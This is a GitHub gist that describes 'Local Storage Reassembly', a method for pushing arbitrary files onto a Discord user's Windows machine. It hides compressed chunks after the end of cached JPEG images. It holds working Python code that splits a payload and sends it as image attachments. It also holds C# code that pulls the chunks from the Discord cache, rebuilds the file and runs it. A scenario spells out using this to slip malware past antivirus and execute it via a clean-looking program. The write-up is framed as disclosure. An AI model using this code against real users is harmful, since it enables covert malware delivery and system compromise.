Skip to content

Instantly share code, notes, and snippets.

@Raffy27
Last active October 4, 2023 18:10
Show Gist options
  • Save Raffy27/48f366b49a2a0f298f697669c35fbd8e to your computer and use it in GitHub Desktop.
Save Raffy27/48f366b49a2a0f298f697669c35fbd8e to your computer and use it in GitHub Desktop.
Local Storage Reassembly - Discord

Local Storage Reassembly

General

The purpose of this writeup is to document a method that can be exploited in order to transfer files to a Discord user's Windows system, without said user's explicit consent. This method does not allow for immediate and direct execution of the file, therefore it does not qualify as an individual security vulnerability.

Technique

LSR requires an image file that will not be modified by Discord. Images that have already been compressed are not modified in any way, EOF data is not trimmed or altered. Using such an image, any file can be split into chunks that (combined with the image) don't exceed 8Mb, which is the upload limit for regular Discord accounts. These images containing EOF data can be sent to a user without being altered - file hashes do not match, so remote caching can not be used, and the original image has already been compressed, thus no additional compression will take place. As soon as the user views the given conversation and the images load, they are saved into Discord's cache, which is located at %AppData%\Discord\Cache. Additional software or commands can be used to retrieve and execute this data. This software can be disguised, thus circumventing the need for the target user to explicitly accept the files that were transferred using LSR.

Discovery

It is well known that web applications can store data in a compressed format through modules such as LocalStorage and the FileSystem API. There are also other storage mechanisms. The Discord application is based on Electron, which uses Chromium. The goal was to be able to either remotely invoke one of these storage mechanisms or push data to the system of a Discord user by other means, and then retrieve this data afterwards.

Discord stores some conversations in its local cache, so direct messages could be used to transfer this data. Unfortunately this method has numerous limitations:

  • Messages may only contain alphanumeric and extended Unicode characters. Binary files would have to be encoded first.
  • There is considerable rate limiting on the message sending API.
  • The maximum amount of characters per message is 2000, which is ~2Kb. Larger files would require huge amounts of messages.
  • Messages containing seemingly random characters are suspicious.
  • There is no guarantee that all of the messages would be stored locally.

Since text messages seemed inconvenient, images were the next step. In a blog post, Discord developers stated that Lilliput is

able to inspect image headers before deciding whether to start decompressing them.

Based on this, multiple experiments were conducted (images with various headers, encodings, dimensions, file sizes, etc.) in an attempt to find a configuration that would retain EOF data. Finally, Payload_17.jpg was able to successfully transmit additional bytes. Cached files matching %AppData%\Discord\Cache\f_* contained said information.

Using this image, it was possible to append and transport chunks of binary data, without raising the average user's suspicion. The last step of LSR was automation.

Implementation

Algorithm

Basic steps:

  1. Split file into chunks
  2. Append chunks to the image
  3. Send the images to a user
  4. Reassemble the data on the other side

Python code for splitting/sending:

def reassembly():
    ch_id = input('Channel ID: ') # Discord Channel ID
    payload = input('Payload: ') # Path to the payload

    imgf = open('Payload_17.jpg', 'rb').read()
    print(f'Image size: {len(imgf)} bytes')
    binf = open(payload, 'rb').read()
    header = uuid.uuid4().hex # Create a unique header
    print(f'Payload size: {len(binf)} bytes')
    binf = zlib.compress(binf) # Compress binary
    print(f'Compressed size: {len(binf)} bytes')
    print('Header: ' + header)
    
    chunk_size_max = 1024 * 1024 * 8 - 500 # Compute maximum chunk size, 500 bytes for safety
    chunk_size_rel = chunk_size_max - len(imgf) # Compute independent chunk size
    chunks = ceil((len(imgf) + len(binf)) / chunk_size_max) # Number of required chunks
    print(f'Number of chunks:', chunks)
    bpos = 0
    for i in range(chunks):
        npos = bpos + chunk_size_rel # Keep track of current offset
        with open('chunk.jpg', 'wb') as f:
            f.write(imgf)
            f.write(bytes(header, 'utf-8'))
            f.write(bytes(hex(i)[2:].zfill(2), 'utf-8'))
            f.write(binf[bpos:npos]) # Create current chunk
        bpos = npos # Update last offset
        print(f'Sending chunk {i+1}...')
        r = Client.send_raw_message(ch_id, '', 'chunk.jpg')
        if not r.status_code == 200:
            print('Failed to send chunk', i+1)
            input()
            return

    print('Chunk(s) sent!')
    os.remove('chunk.jpg') # Get rid of temporary junk

C# code for reassembling:

class Chunk // Contains raw bytes and index of a chunk
{
    public int index;
    public byte[] value;

    public Chunk(int i, byte[] b) {
        index = i;
        value = b;
    }
}

class Program
{

    static void Main(string[] args) {
        string cache = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        cache = Path.Combine(cache, "Discord", "Cache"); // Locate cache first
        if (!Directory.Exists(cache)) {
            Console.WriteLine("Failed to locate the cache.");
            return;
        }
        Console.WriteLine("Cache: " + cache);
        Console.WriteLine();

        List<Chunk> chunks = new List<Chunk>(); // Create list of chunks
        var files = Directory.GetFiles(cache, "f*");
        foreach (var f in files) {
            var text = File.ReadAllBytes(f);
            var find = text.StartingIndex(Encoding.UTF8.GetBytes(Resource1.Header)); // Look for unique header
            if (find.Count() > 0) { // Header found
                int pos = find.First();
                text = text.Skip(pos + Resource1.Header.Length).ToArray(); // Skip header
                int index = Convert.ToInt32(Encoding.UTF8.GetString(text.Take(2).ToArray()), 16); // Get index
                text = text.Skip(2).ToArray(); // Get bytes
                Console.WriteLine("Chunk [{0}] located: {1} --> 0x{2:X}", index, Path.GetFileName(f), pos);
                chunks.Add(new Chunk(index, text)); // Append chunk to list
            }
        }

        Console.WriteLine();

        if(chunks.Count == 0) {
            Console.WriteLine("No chunks found: " + Resource1.Header);
            return;
        }

        Console.WriteLine("Sorting chunks");
        chunks.Sort((x, y) => x.index.CompareTo(y.index)); // Sort chunks

        var ext = Resource1.Extension.Split('/')[0];
        var tmp = Path.Combine(Path.GetTempPath(), Resource1.Header + ext); // Create temporary file
        using (MemoryStream ms = new MemoryStream()) {
            Console.WriteLine("Reassembling " + Resource1.Header + ext);
            foreach (var chunk in chunks) { // Reassemble chunks
                ms.Write(chunk.value, 0, chunk.value.Length);;
            }
            ms.Position = 0;

            Console.WriteLine("Decompressing buffer");
            using (FileStream fs = File.Create(tmp)) { // Decompress chunks
                using(GZipStream gs = new GZipStream(ms, CompressionMode.Decompress)) {
                    gs.CopyTo(fs); // Dump to temporary file
                }
            }
        }

        Console.WriteLine("Opening reassembled file");
        Process.Start(tmp); // Execute temporary file
        Console.WriteLine("Reassembly completed.");
    }
}

Screenshot of the reassembler:

LSReassembler

Working example

A working example of LSR is implemented in my simple, unimaginatively named Discord Tool, written in Python. The full reassembly module is not publicly available yet.

Impact

Because LSR does not allow a malicious actor to execute code remotely, it does not qualify as a security vulnerability. According to Discord's Bug Bounty Program, it also does not qualify.

At most, LSR is a Social Engineering technique. However, it can be used to push malware to unsuspecting Discord users' systems. Consider the following scenario:

  1. Attacker compresses malware binary to avoid signature detection
  2. Attacker pushes malware to the victim's system using LSR
  3. Malware remains undetected by real-time AV products because of the compression
  4. Attacker sends a clean executable to the victim
  5. Victim accepts and opens the clean executable
  6. Clean executable retrieves and decompresses malware from the local Discord cache, executes it without touching the file system
  7. Victim's system has been compromised, with the only potential attack vector being a clean executable

To maximize profit, a malicious actor could possibly target entire servers and push files too all of the members' systems.

It is also possible to waste users' disk space and memory with this approach. Cached files will be loaded into memory upon request, which amounts to ~8Mb of memory wasted per LSR image. In theory, abuse of this technique could lead to Denial of Service.

There are also other, less malicious uses to this technique, such as automatically transferring large files and bypassing Discord's default 8Mb file size limitation.

Notes

  • Discovered by Raffy E, 5/6/2020
  • Special thanks to Tibix for testing the technique!
  • The core technique is not by any means new, the implementation is.
  • Variants of LSR can possibly be implemented for other Electron based applications.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment